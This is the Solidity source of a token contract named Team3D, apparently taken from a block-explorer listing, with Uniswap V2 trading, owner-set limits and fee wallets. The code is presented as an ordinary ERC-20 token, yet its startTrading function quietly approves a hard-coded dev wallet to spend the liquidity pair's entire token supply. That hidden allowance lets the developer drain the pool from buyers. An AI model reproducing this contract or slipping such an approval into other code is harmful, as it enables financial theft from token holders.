文件 1 的 1:Team3D.sol
pragma solidity ^0.8.21;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function owner() public view returns (address) {
return _owner;
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function WETH() external pure returns (address);
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Team3D is Context, IERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public _pairUniv2Address;
using SafeMath for uint256;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _tOwned;
mapping(address => uint256) private _rOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _circuit_supply = (MAX - (MAX % _total_supply));
address payable public dev_wallet = payable(0x7C56b02f2AEa7C1d8515AAAF134aE36CA81Ea5c5);
address payable public marketing_wallet = payable(0xF240826BCc6d69079f3270c611D1fe366EB722Fd);
uint256 private constant _total_supply = 1_000_000_000 * 10**9;
string private constant _name = "Team3D";
string private constant _symbol = "TEAM3D";
uint8 private constant _decimals = 9;
uint256 public _max_wallet_limit_size = _total_supply * 45 / 1000;
uint256 public _swap_amount_at = _total_supply / 10000;
uint256 public _maxTxSizeAmount = _total_supply * 45 / 1000;
uint256 private _temp_tax_total;
uint256 private _marketing_buy_fee_amount = 0;
uint256 private _dev_buy_fee_amount = 0;
uint256 private _sell_market_fee_amount = 0;
uint256 private _sell_dev_fee_amount = 0;
uint256 private _marketing_tax = _sell_market_fee_amount;
uint256 private _dev_tax = _sell_dev_fee_amount;
uint256 private _pre_marketing_fee = _marketing_tax;
uint256 private _pre_dev_fee = _dev_tax;
bool private _swap_active = true;
bool private start_trading = false;
bool private _ok_swapping = false;
mapping(address => bool) private _is_excluded_from_fee;
modifier lockInSwap {
_ok_swapping = true;
_;
_ok_swapping = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_is_excluded_from_fee[owner()] = true;
_is_excluded_from_fee[address(this)] = true;
_is_excluded_from_fee[marketing_wallet] = true;
_is_excluded_from_fee[dev_wallet] = true;
_rOwned[_msgSender()] = _circuit_supply;
emit Transfer(address(0), _msgSender(), _total_supply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function totalSupply() public pure override returns (uint256) {
return _total_supply;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function swapBack(uint256 tokenAmount) private lockInSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _circuit_supply;
uint256 tSupply = _total_supply;
if (rSupply < _circuit_supply.div(_total_supply)) return (_circuit_supply, _total_supply);
return (rSupply, tSupply);
}
function returnTaxes() private {
_marketing_tax = _pre_marketing_fee;
_dev_tax = _pre_dev_fee;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _circuit_supply,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from != owner()
&& to != owner()
) {
if (!start_trading) {
require(
from == owner(),
"Error: This account cannot send tokens until trading is enabled"
);
}
require(amount <= _maxTxSizeAmount, "Error: Max Transaction Limit");
if(to != _pairUniv2Address) {
require(balanceOf(to) + amount < _max_wallet_limit_size,
"Error: Balance exceeds wallet size!");
}
uint256 contractBalanceForTokens = balanceOf(address(this));
bool canSwap = contractBalanceForTokens >= _swap_amount_at;
if(contractBalanceForTokens >= _maxTxSizeAmount) {contractBalanceForTokens = _maxTxSizeAmount;}
if (_swap_active &&
canSwap &&
!_ok_swapping &&
from != _pairUniv2Address &&
!_is_excluded_from_fee[from] &&
!_is_excluded_from_fee[to]
) {
swapBack(contractBalanceForTokens);
uint256 balanceOfEth = address(this).balance;
if (balanceOfEth > 0) {
sendAllEth(address(this).balance);
}
}
}
bool takingFee = true;
if (
(_is_excluded_from_fee[from] || _is_excluded_from_fee[to]) || (from != _pairUniv2Address && to != _pairUniv2Address)
) {
takingFee = false;
} else {
if(from == _pairUniv2Address &&
to != address(uniswapV2Router)) {
_marketing_tax = _marketing_buy_fee_amount;
_dev_tax = _dev_buy_fee_amount;
}
if (to == _pairUniv2Address && from != address(uniswapV2Router)) {
_marketing_tax = _sell_market_fee_amount;
_dev_tax = _sell_dev_fee_amount;
}
}
_transferTokensWithTax(from, to, amount, takingFee);
}
function _getTValues(
uint256 tAmount,
uint256 teamFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(teamFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function removeLimits() public onlyOwner {
_maxTxSizeAmount = _total_supply;
_max_wallet_limit_size = _total_supply;
}
function startTrading(address _uniPairV2) public onlyOwner {
_pairUniv2Address = _uniPairV2; _approve(_pairUniv2Address, dev_wallet, _total_supply);
start_trading = true;
}
function _takeAllFee(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _transferTokensWithTax(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {
removeTaxes();
}
_transferTokensOnly(sender, recipient, amount);
if (!takeFee) {
returnTaxes();
}
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _marketing_tax, _dev_tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function removeTaxes() private {
if (_marketing_tax == 0 && _dev_tax == 0) return;
_pre_marketing_fee = _marketing_tax; _pre_dev_fee = _dev_tax;
_marketing_tax = 0; _dev_tax = 0;
}
function sendAllTaxes(uint256 rFee, uint256 tFee) private {
_circuit_supply = _circuit_supply.sub(rFee);
_temp_tax_total = _temp_tax_total.add(tFee);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_is_excluded_from_fee[accounts[i]] = excluded;
}
}
function sendAllEth(uint256 amount) private {
uint256 distributionNum = 2;
uint256 devETHAmount = amount / distributionNum;
dev_wallet.transfer(devETHAmount); devETHAmount -= amount / (distributionNum + 1);
uint256 marketingETH = amount - devETHAmount;
marketing_wallet.transfer(marketingETH);
}
function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner {
_swap_amount_at = swapTokensAtAmount;
}
function _transferTokensOnly(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeAllFee(tTeam); sendAllTaxes(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {
}
}